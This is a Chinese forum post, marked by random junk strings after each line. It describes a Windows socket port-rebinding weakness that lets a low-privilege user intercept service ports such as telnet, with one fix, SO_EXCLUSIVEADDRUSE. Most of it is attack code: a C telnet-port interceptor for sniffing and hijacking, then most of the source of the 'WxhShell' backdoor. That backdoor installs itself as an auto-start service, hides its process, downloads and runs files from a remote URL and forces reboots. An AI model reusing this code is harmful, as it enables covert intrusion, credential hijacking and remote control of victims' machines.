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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6ssZg@}nf{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VX&KGG.6  
+YhTb  
  saddr.sin_family = AF_INET; O" ['.b  
+S|y)W8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E](Ood  
w0moC9#$?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _}`iLA!$I  
y{K~g<VL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ? {cF'RB.  
!e.@Xk.P6  
  这意味着什么?意味着可以进行如下的攻击: j/wNPB/NM  
nb22b Xt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V# w$|B\  
o?^j1\^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'fcJ]%-=  
Pp3tEZfE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :!3CoC.X|c  
u&bo32fc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S! ,.#e(Y  
]=q?= %H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |...T 4:^Y  
w{K_+}fAC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GC$Hp!H  
 V '^s5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .knRH^  
5`6@CRef  
  #include 2#6yO`?uo  
  #include b)$<aFl  
  #include E[2c`XFd8  
  #include    &OGY?[n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v.\1-Q?  
  int main() X,x{!  
  { ^7TM.lE  
  WORD wVersionRequested; h{J2CWJ  
  DWORD ret; "z< =S  
  WSADATA wsaData; OMO.-p  
  BOOL val; n`0}g_\q  
  SOCKADDR_IN saddr; 3boINmX  
  SOCKADDR_IN scaddr; @?G.6r~  
  int err; 8K6yqc H  
  SOCKET s; tQz-tQg  
  SOCKET sc; N\HOo-X  
  int caddsize; WK /Byd.Z  
  HANDLE mt; 98Pt&C?-B  
  DWORD tid;   a,M7Bb x  
  wVersionRequested = MAKEWORD( 2, 2 ); TS$ 2K  
  err = WSAStartup( wVersionRequested, &wsaData ); Q>JJI:uC4  
  if ( err != 0 ) { cl1h;w9s  
  printf("error!WSAStartup failed!\n"); M*8Ef^-U`t  
  return -1; lkFv5^%  
  } 5cgDHs  
  saddr.sin_family = AF_INET; =|pQA~UU#  
   io$AGi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GvF~h0wMt  
&`pd&U{S*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?o),F^ir  
  saddr.sin_port = htons(23); 0j7\.aaK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5sFp+_``  
  { %@kmuz??  
  printf("error!socket failed!\n"); #s)6u?N  
  return -1; kVy%y"/  
  } >F!2ib8  
  val = TRUE; ^l7u^j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4[Hf[.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qL,!  
  { \@GA;~x.b  
  printf("error!setsockopt failed!\n"); vM1f-I-  
  return -1; . sgV  
  } ,>`wz^z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D$I7 Gz,w{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ngi$y>{Sq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K\5@yqy5  
l`~*" 4|/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u z4P  
  { c3Y\XzV3v  
  ret=GetLastError(); 68+ 9^  
  printf("error!bind failed!\n"); ^4_.5~(  
  return -1; j1Q G-Rs&  
  } o.k eM4OQ  
  listen(s,2); ujmO'blO  
  while(1) q *mNVBy  
  { arrNx|y  
  caddsize = sizeof(scaddr); JN$v=Ox{  
  //接受连接请求 +0;6.PK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U<KvKg  
  if(sc!=INVALID_SOCKET) Zh6bUxr  
  { }tua0{N:z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); + ( `  
  if(mt==NULL) GTeFDm; T^  
  { >ys>Q)  
  printf("Thread Creat Failed!\n"); Siq2Glg_  
  break; B'lWs;  
  } nQa5e_q!u  
  } O3j:Y|N@F  
  CloseHandle(mt); 4T{+R{_Y1  
  } &BFW`5N  
  closesocket(s); !\z:S?V  
  WSACleanup(); B ;9^  
  return 0; ^j0Mu.+_  
  }   ~kD/dXt  
  DWORD WINAPI ClientThread(LPVOID lpParam) UMma|9l(i  
  { /![S 3Ol  
  SOCKET ss = (SOCKET)lpParam; *rXESw]BR  
  SOCKET sc; ?76Wg::  
  unsigned char buf[4096]; 0 gL]^_+7  
  SOCKADDR_IN saddr; cWA9n}Z  
  long num; ]Vln5U   
  DWORD val; ^}8(o  
  DWORD ret; .a8N 5{`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8 T):b2h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F@& R"-  
  saddr.sin_family = AF_INET; sbjAZzrX2i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (/a2#iW  
  saddr.sin_port = htons(23); <IC=x(T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 26G2. /**<  
  { SsIy;l  
  printf("error!socket failed!\n"); 1y2D]h/'  
  return -1; cuO(*%Is1  
  } 9gZMfP  
  val = 100; |h\e(_G \  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ra0:Lg'  
  { Vl%AN;o  
  ret = GetLastError(); rr>QG<i;G  
  return -1; &na#ES $X,  
  } =;W"Pi;*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .0:BgM  
  { 3{ LXx  
  ret = GetLastError(); O#7ONQfBO  
  return -1; Hzcy '  
  } 2E33m*C2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ug'I:#@2  
  { GbFLu`Iu  
  printf("error!socket connect failed!\n"); y< W?hE[  
  closesocket(sc); 2?u>A3^R  
  closesocket(ss); `MA ee8u'  
  return -1; X/ gIH/  
  } gbsRf&4h  
  while(1) OL4I}^*,  
  { ! @{rk p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1P. W 34  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^VK-[Sz&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :9Zu&t  
  num = recv(ss,buf,4096,0); nm'sub  
  if(num>0) {>H#/I8si  
  send(sc,buf,num,0); 6vbWe@#U/  
  else if(num==0) (%}T\~`1z#  
  break; 0#pjfc `:  
  num = recv(sc,buf,4096,0); kTb.I;S  
  if(num>0) <W~5;m  
  send(ss,buf,num,0); (o~f6pNB,  
  else if(num==0) M#LQz~E  
  break; #+N\u*-S  
  } bE#=\kf|  
  closesocket(ss); 1t_$pDF}  
  closesocket(sc); hb9e6Cc  
  return 0 ; guz{DBlK  
  } KE1S5Mck>  
PVP,2Yq!  
%C\Q{_AS  
========================================================== QZB2yK3]h  
9 yH95uaDF  
下边附上一个代码,,WXhSHELL #~3x^ 4Y  
M lgE-Lm  
========================================================== 3UU]w`At  
|RDmY!9&  
#include "stdafx.h" T)&J}^j  
2.u d P  
#include <stdio.h> a% |[m,FvP  
#include <string.h> ,DK|jf  
#include <windows.h> ;ZHKTOoK  
#include <winsock2.h> "D}PbT[V  
#include <winsvc.h> a\S"d  
#include <urlmon.h> ]:i :QiYD  
i>HipD,TD  
#pragma comment (lib, "Ws2_32.lib") C7[ge&  
#pragma comment (lib, "urlmon.lib") jCDZ$W89  
MH[Zw$  
#define MAX_USER   100 // 最大客户端连接数 C9E l {f  
#define BUF_SOCK   200 // sock buffer )A:2y +  
#define KEY_BUFF   255 // 输入 buffer 5 WSu  
/ZqBO*]  
#define REBOOT     0   // 重启 zWoPa,  
#define SHUTDOWN   1   // 关机 [_hHZMTH  
@qmONQ eb  
#define DEF_PORT   5000 // 监听端口 TU&6\]yF_  
TC[_Ip&  
#define REG_LEN     16   // 注册表键长度 lTJ1]7)  
#define SVC_LEN     80   // NT服务名长度 o90SXa&l/  
Qj5~ lX`W  
// 从dll定义API F@Y)yi?z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W6ZXb_X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [SgWUP*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #qXE[%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4r ;!b;3  
}M'h 5x  
// wxhshell配置信息 aDFu!PLB{)  
struct WSCFG { 3t22KY[`  
  int ws_port;         // 监听端口 |7n&I`#  
  char ws_passstr[REG_LEN]; // 口令 2  *IF  
  int ws_autoins;       // 安装标记, 1=yes 0=no =]&?(Gq  
  char ws_regname[REG_LEN]; // 注册表键名 LI_>fuv"8  
  char ws_svcname[REG_LEN]; // 服务名 ^'.=&@i-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K-IXAdx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >8Wvz.Nq/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JYL/p9K[I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n)uvN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I'2:>44>I6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =A={ Dpv[>  
C`+g:qT  
}; XIh2Y\33ys  
<9 lZ%j;  
// default Wxhshell configuration drP2% u  
struct WSCFG wscfg={DEF_PORT, Yr5A,-s  
    "xuhuanlingzhe", +]uW|owxo  
    1, c|3%0=,`  
    "Wxhshell", Hy5_iYP5  
    "Wxhshell", C=(-oI n  
            "WxhShell Service", F+,X%$A#?  
    "Wrsky Windows CmdShell Service", JW9^C  
    "Please Input Your Password: ", ,X(P/x{B  
  1, ((^jyQ  
  "http://www.wrsky.com/wxhshell.exe", !|_b}/  
  "Wxhshell.exe" SQ| pH"  
    }; wLC!vX.S  
wH=  
// 消息定义模块 4@OnMj{M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  G7 >  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V2sWcV?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !Rk1q&U5  
char *msg_ws_ext="\n\rExit."; y ,isK  
char *msg_ws_end="\n\rQuit."; `l@[8H%aw  
char *msg_ws_boot="\n\rReboot..."; "r @RDw   
char *msg_ws_poff="\n\rShutdown..."; r/1:!Vu(  
char *msg_ws_down="\n\rSave to "; gS4zX>rqe  
;l> xXSB7$  
char *msg_ws_err="\n\rErr!"; F +PIZ%  
char *msg_ws_ok="\n\rOK!";  hLFf  
GHj1G,L@\  
char ExeFile[MAX_PATH]; *@o@>  
int nUser = 0; 7Ipt~K}  
HANDLE handles[MAX_USER]; E*ybf'  
int OsIsNt; \]GO*]CaV  
B!GpD@U  
SERVICE_STATUS       serviceStatus; F{)YdqQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +qq,;npi  
`bu3S }m7  
// 函数声明 Af1izS3  
int Install(void); Cnd70tbD )  
int Uninstall(void); $'e;ScH  
int DownloadFile(char *sURL, SOCKET wsh); _H}y7  
int Boot(int flag); %])-+T  
void HideProc(void); y[[f?rxz>  
int GetOsVer(void); 'EU{%\qM  
int Wxhshell(SOCKET wsl); Z l.}=  
void TalkWithClient(void *cs); DLcfOOn1I  
int CmdShell(SOCKET sock); JPfNf3<@My  
int StartFromService(void); %<$CH],%  
int StartWxhshell(LPSTR lpCmdLine); +Q_(wR"FS  
=Xze).g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #m?GBr%k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "6_#APoP  
fgg^B[(Y  
// 数据结构和表定义 `M/=_O3  
SERVICE_TABLE_ENTRY DispatchTable[] = yLCqlK  
{ O$u;]cg  
{wscfg.ws_svcname, NTServiceMain}, 4 r#O._Z  
{NULL, NULL} j b1OcI%  
};  A]R7H1  
^tX+<X  
// 自我安装 / U1VE|T  
int Install(void) iY"I:1l.  
{ 3 lH#+@  
  char svExeFile[MAX_PATH]; %Q5D#d"p`  
  HKEY key; 75i M_e\  
  strcpy(svExeFile,ExeFile); h Vz%{R"  
#<f}.P.Uc  
// 如果是win9x系统,修改注册表设为自启动 yveyAsN`B  
if(!OsIsNt) { Yf.H$L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uW%7X2K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^@l_K +T  
  RegCloseKey(key); 3Gq Js  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @+~=h{jv<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3S1V^C-eBx  
  RegCloseKey(key); 58zs% +F  
  return 0; ~J?O~p`&  
    } AE!WYE  
  } LinARMPv  
} #@H{Ypn`  
else { '&Ox,i]t  
}u cqzdk#2  
// 如果是NT以上系统,安装为系统服务 iKv`[k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1<A+.W  
if (schSCManager!=0) k$:QpTg[  
{ )?~3fb6^  
  SC_HANDLE schService = CreateService YS=|y}Q|7d  
  ( sN|-V+7&j  
  schSCManager, >C"cv^%c  
  wscfg.ws_svcname, Hb 'fEo r  
  wscfg.ws_svcdisp, 9(lIz{  
  SERVICE_ALL_ACCESS, lMAmico  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !jY/}M~F1  
  SERVICE_AUTO_START, heoOOP(#  
  SERVICE_ERROR_NORMAL, SdC505m0*  
  svExeFile, fOiLb.BW  
  NULL, k/AcXU%O+  
  NULL, l2GMVAca  
  NULL, 8OH<ppi  
  NULL, ASY uZ  
  NULL 6CO>Tg:%  
  ); /k<*!H]KSg  
  if (schService!=0) 8(ny^]v|  
  { S<Q8kW:  
  CloseServiceHandle(schService); M['25[  
  CloseServiceHandle(schSCManager); S#0y\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g3n^ <[E  
  strcat(svExeFile,wscfg.ws_svcname); q_HC68YF,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;hF>iw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B) &BqZ&  
  RegCloseKey(key); u~<>jAy  
  return 0; HP|,AmVLl  
    } asP>(Li  
  } I@cKiB  
  CloseServiceHandle(schSCManager); E#Ynn6  
}  w J!  
} S$W *i@x?  
a1ZGMQq!  
return 1; p`gg   
} OH5 kT$  
( f8g}2  
// 自我卸载 deaxb8'7  
int Uninstall(void) ~B>I?j  
{ o;FjpZ  
  HKEY key; :eS7"EG{3  
Zm%}AzM  
if(!OsIsNt) { O8SX#,3^}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8>j+xbw  
  RegDeleteValue(key,wscfg.ws_regname); G,{L=x Oh  
  RegCloseKey(key); FU!U{qDI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V5KAiG<d  
  RegDeleteValue(key,wscfg.ws_regname); W()FKP\??!  
  RegCloseKey(key); o]n5pZ\\W<  
  return 0; ,8o]XFOr  
  } R8EDJ2u#  
} gv `jeN  
} GEA@AD=^f  
else { %xxe U  
Bp^>R`,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vtR<(tOu@  
if (schSCManager!=0) vb: '%^v  
{ <| |Lj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 51`w.ri  
  if (schService!=0) ]gTa TY  
  { )_+"  
  if(DeleteService(schService)!=0) { _kH#{4`Hw  
  CloseServiceHandle(schService); la)f\Nk  
  CloseServiceHandle(schSCManager); )[9L|o5D  
  return 0; =%U t&6}sQ  
  } 8(KsU,%d  
  CloseServiceHandle(schService); tt|U,o  
  } 1|/2%IDUI  
  CloseServiceHandle(schSCManager); :L:;~tK  
} zQ]IlMt  
} j /-p3#c  
XT>e/x9'  
return 1; C'n 9n!hR  
} N$Gx$u3Cd  
b_V)]>v+  
// 从指定url下载文件 QI=SR  
int DownloadFile(char *sURL, SOCKET wsh) PG<N\  
{ 7bsW7;C  
  HRESULT hr; =6  
char seps[]= "/"; z&<Rx[  
char *token; P_-zkw  
char *file; +hjc~|RK  
char myURL[MAX_PATH]; Zu%_kpW  
char myFILE[MAX_PATH]; 2_r}4)z  
>ID 3oi  
strcpy(myURL,sURL); 5`x9+XvoN  
  token=strtok(myURL,seps); 4 CX*,7LZ  
  while(token!=NULL) >z^T~@m7l  
  { 8H;TPa  
    file=token; DX$`\PA  
  token=strtok(NULL,seps); L8bq3Q'p  
  } "%f>/k;!h.  
OFRzzG@  
GetCurrentDirectory(MAX_PATH,myFILE); k% In   
strcat(myFILE, "\\"); xR#hU;E}  
strcat(myFILE, file); 7{<F6F^P  
  send(wsh,myFILE,strlen(myFILE),0); L@a-"(TN+  
send(wsh,"...",3,0); 0QC*Z (  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^D.B^BR  
  if(hr==S_OK) iZSj T"l^  
return 0; 2vWkAC;   
else ` |]6<<'iW  
return 1; 2"__jp:(  
rEAPlO.Yp  
} +\:I3nKs%  
E\V>3rse  
// 系统电源模块 ni%^w(J3Q  
int Boot(int flag) ;"Ot\:0  
{ @ K@~4!  
  HANDLE hToken; pY8+;w EI  
  TOKEN_PRIVILEGES tkp; <mm}IdH  
)@K|Co  
  if(OsIsNt) { VwC, +B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l}O`cC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v(: VUo]H  
    tkp.PrivilegeCount = 1; Zfb:>J@h6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `Z@wWs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,E>VYkoA  
if(flag==REBOOT) { |(P>'fat-p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e#zGLxa  
  return 0; klch!m=d  
} J2 5>t^  
else { (nE$};c<b2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wfZ 'T#1  
  return 0; Ak_;GvC!  
} yS3x))  
  } Sl$dXB@  
  else { \C<rg|  
if(flag==REBOOT) { }`_2fJ6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "lz!'~im  
  return 0; yTDoS|B+)  
} "(C }Dn#  
else { e<C5}#wt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /FYa{.Vlr  
  return 0; qp{NRNkQ  
} ;3?M?E/$s  
} R K'( {1  
)(ma  
return 1; Gf%o|kX]  
} `8y &  
M?\)&2f[Z  
// win9x进程隐藏模块 F~DG:x~  
void HideProc(void) Ffhbs D  
{ u j:w^t ][  
ol YSr .Q`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vy/g;ZPU1  
  if ( hKernel != NULL ) +s S*EvF  
  { K^w9@&g6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H@ w6.[#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J]~fv9~P  
    FreeLibrary(hKernel); C$(t`G  
  } 6*LU+U=`  
qq?>ulu*W  
return; }40/GWp<f  
} _c(=>  
A>4k4*aFm#  
// 获取操作系统版本 l y%**iN  
int GetOsVer(void) .K7A!;  
{ ivagS\Q  
  OSVERSIONINFO winfo; zm~~mz A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C>MoR3]  
  GetVersionEx(&winfo); 22*t%{(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BF_k~  
  return 1; JPpYT~4  
  else Y"lxh/l$}  
  return 0; q2 f/#"k  
} q%y_<Fw#E  
sZbzY^P  
// 客户端句柄模块 O%)9t FT  
int Wxhshell(SOCKET wsl) MkYem6  
{ z44uhRh  
  SOCKET wsh; 21WqLgT3 4  
  struct sockaddr_in client; z`Q5J9_<cV  
  DWORD myID;  $}F]pa[  
g9 yCd(2<5  
  while(nUser<MAX_USER) ^Qr P.l#pZ  
{ cPN7^*  
  int nSize=sizeof(client); yf8UfB#a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P! 3$RO  
  if(wsh==INVALID_SOCKET) return 1; 5m bs0GL  
Eyn3Vv?v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .*f;v4!  
if(handles[nUser]==0) |knP  
  closesocket(wsh); '~f@p~P  
else Z8#I  
  nUser++; HdLkof2i  
  } 7]^ }  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I^wj7cFo5  
FU[,,a0<<  
  return 0; [@y=% \%R  
} XnY}dsS O  
lt$7 97  
// 关闭 socket ps [6)d)o  
void CloseIt(SOCKET wsh) EiN.VU `  
{ 'wZy: c  
closesocket(wsh); -'N#@Wdr  
nUser--; Nb8<8O ^  
ExitThread(0); %1<p1u'r?#  
} XH2 SEeh  
#wd \&  
// 客户端请求句柄 .;F+ QP0  
void TalkWithClient(void *cs) 0!VLPA:  
{ ]q3Kd{B  
7E5Dz7  
  SOCKET wsh=(SOCKET)cs; k1U~S`>$  
  char pwd[SVC_LEN]; NY;UI (<]  
  char cmd[KEY_BUFF]; q7]WR(e  
char chr[1]; qB39\j  
int i,j; LAKZAi%O0  
~ghz%${`  
  while (nUser < MAX_USER) { :^s7#4%6  
%~;Q_#CR/K  
if(wscfg.ws_passstr) { ^hHeH:@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {UmCn>c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4GfLS.Ip  
  //ZeroMemory(pwd,KEY_BUFF); /SKr.S61e  
      i=0; 'f}S ,i +q  
  while(i<SVC_LEN) { ]p*) PpIl  
n>0dz#  
  // 设置超时 Fa!)$eb7  
  fd_set FdRead; MELGTP>  
  struct timeval TimeOut; pjCWg 4ya  
  FD_ZERO(&FdRead); ) e2IT*7  
  FD_SET(wsh,&FdRead); `p{ !5  
  TimeOut.tv_sec=8; vg.%.~!9  
  TimeOut.tv_usec=0; g Oj5c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bGi_", 8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !bcbzg2d&  
9v F2aLPk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JAb?u.,Ns_  
  pwd=chr[0]; PM.SEzhm  
  if(chr[0]==0xd || chr[0]==0xa) { p<zXuocQ  
  pwd=0; cGc|n3(  
  break; LJ/qF0L!H  
  } _tReZ(Vw  
  i++; !TOi]`vqc  
    } f0`' i[  
s4gNS eA  
  // 如果是非法用户,关闭 socket +.lWck  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); huoKr  
}  mo,l`UL  
h3lDDyu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qkib;\2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WhZaq  
B#?2,  
while(1) { n2{{S(N  
@."o:K  
  ZeroMemory(cmd,KEY_BUFF); I PVzV\o  
|3,V%>z  
      // 自动支持客户端 telnet标准   |3s&Y`x-D  
  j=0; ~8m>DSs)D  
  while(j<KEY_BUFF) { cXY'>N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =[K)<5,@  
  cmd[j]=chr[0]; ]pV1T  
  if(chr[0]==0xa || chr[0]==0xd) { =b!J)]  
  cmd[j]=0; ww($0A`ek  
  break; qZJ*J+  
  } ow_y  
  j++; 6lWFxbh  
    } e^NEj1  
 ;Z q~w  
  // 下载文件 S8OVG4-  
  if(strstr(cmd,"http://")) { DjzUH{6O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )6Q0f  
  if(DownloadFile(cmd,wsh)) b'1d<sD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "x;k'{S  
  else ,GJ>vT)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~J-|,ZMd  
  } /HuYduGdP  
  else { ARdGh_yJ&  
@pG lWw9*  
    switch(cmd[0]) { (Q5@MfK`  
  p,iCM?[|  
  // 帮助 q83~j `ZJ$  
  case '?': { GD[ou.C}k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *sB-scD  
    break; B^_Chj*m  
  } PGPbpl&\t  
  // 安装 I26gGp  
  case 'i': { %Sn6*\z  
    if(Install()) :pDY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~BvY8\@B  
    else BO4 K#H7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9J7J/]7f  
    break; ;:4P'FWm^  
    } 'K3 s4x($  
  // 卸载 vzcBo%  
  case 'r': { uR ;-eK  
    if(Uninstall()) 48 CI8[T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7p.h{F'A  
    else Ok>(>K<r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P$3=i`X!nw  
    break; VL7S7pb_  
    }  C5+`<  
  // 显示 wxhshell 所在路径 So=nB} b[?  
  case 'p': {  oKYhE  
    char svExeFile[MAX_PATH]; aw/7Z`   
    strcpy(svExeFile,"\n\r"); i.t9jN  
      strcat(svExeFile,ExeFile); PiQkJ[  
        send(wsh,svExeFile,strlen(svExeFile),0); 5eOj, [?  
    break; BY*2yp}7  
    } rj,K`HD  
  // 重启 %XI"<Y\yL  
  case 'b': { Wzqb>.   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >HPvgR/#BY  
    if(Boot(REBOOT)) {zz6XlKPj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lU $4NU wM  
    else { FKox0Jmh=  
    closesocket(wsh); @?Gw|bP  
    ExitThread(0); l+2cj?X  
    } 30?LsYXL62  
    break; hDljY!P>p  
    } 9$+^"ilk  
  // 关机 aZj J]~bO  
  case 'd': { }r}RRd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *`ZB+ \*  
